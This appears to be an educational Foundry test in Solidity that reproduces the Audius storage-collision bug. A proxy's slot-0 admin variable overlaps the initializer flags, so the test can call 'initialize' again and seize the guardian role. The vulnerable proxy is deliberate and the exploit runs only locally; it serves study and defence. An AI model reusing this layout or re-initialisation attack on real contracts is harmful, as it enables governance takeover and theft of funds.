// SPDX-License-Identifier: MIT

pragma solidity ^0.8.15;

import "forge-std/Test.sol";

import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";

// We take Audius as an example. For more details, you can refer to Audius Governance Takeover Post-Mortem 7/23/22 and Remediation.

// https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22

interface ILogic {

function getguardianAddress() external returns (address);

function getproxyAdmin() external returns (address);

function initialize(address) external;

function getinitializing() external returns (bool);

function getinitialized() external returns (bool);

function isConstructor() external view returns (bool);

}

contract ContractTest is Test {

Logic LogicContract;

TestProxy ProxyContract;

function testStorageCollision() public {

LogicContract = new Logic();

ProxyContract = new TestProxy(address(LogicContract),address(msg.sender),address(this));

console.log("Current guardianAddress:", ILogic(address(ProxyContract)).getguardianAddress());

console.log("Current initializing boolean:", ILogic(address(ProxyContract)).getinitializing());

console.log("Current initialized boolean:", ILogic(address(ProxyContract)).getinitialized());

console.log("Try to call initialize to change guardianAddress");

ILogic(address(ProxyContract)).initialize(address(msg.sender));

console.log("After initializing, changed guardianAddress to attacker:", ILogic(address(ProxyContract)).getguardianAddress());

console.log("After initializing, initializing boolean is still true:", ILogic(address(ProxyContract)).getinitializing());

console.log("After initializing, initialized boolean:", ILogic(address(ProxyContract)).getinitialized());

/*

In this case because the last byte of the proxyAdmin address is `0x72`, initialized was interpreted as a truthy value.

Similarly, because the second byte of the proxyAdmin address is `0xea`,

initializing was also interpreted as a truthy value. This caused the initializer() modifier to always succeed:

*/

console.log("Exploit completed");

}

receive() payable external{}

}

contract TestProxy is TransparentUpgradeableProxy {

address private proxyAdmin; // slot 0 - storage collision here

constructor(

address _logic,

address _admin,

address guardianAddress

) TransparentUpgradeableProxy(

_logic,

_admin ,

abi.encodeWithSelector(

bytes4(0xc4d66de8) // bytes4(keccak256("initialize(address)"))

,guardianAddress

)

) {

proxyAdmin = _admin;

}

}

contract Initializable {

/**

* @dev Indicates that the contract has been initialized.

*/

bool private initialized;

/**

* @dev Indicates that the contract is in the process of being initialized.

*/

bool private initializing;

/**

* @dev Modifier to use in the initializer function of a contract.

*/

modifier initializer() {

require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

bool isTopLevelCall = !initializing;

if (isTopLevelCall) {

initializing = true;

initialized = true;

}

_;

if (isTopLevelCall) {

initializing = false;

}

}

/// @dev Returns true if and only if the function is running in the constructor

function isConstructor() private view returns (bool) {

// extcodesize checks the size of the code stored in an address, and

// address returns the current address. Since the code is still not

// deployed when running a constructor, any checks on its code size will

// yield zero, making it an effective way to detect if a contract is

// under construction or not.

address self = address(this);

uint256 cs;

assembly { cs := extcodesize(self) }

return cs == 0;

}

// Reserved storage space to allow for layout changes in the future.

uint256[50] private ______gap;

function getinitializing() public returns (bool) {

return initializing;

}

function getinitialized() public returns (bool) {

return initialized;

}

}

contract Logic is Initializable {

address private guardianAddress;

function initialize (

address _guardianAddress

) public initializer {

guardianAddress = _guardianAddress; //Guardian address becomes the only party

}

function getguardianAddress() public returns (address) {

return guardianAddress;

}

}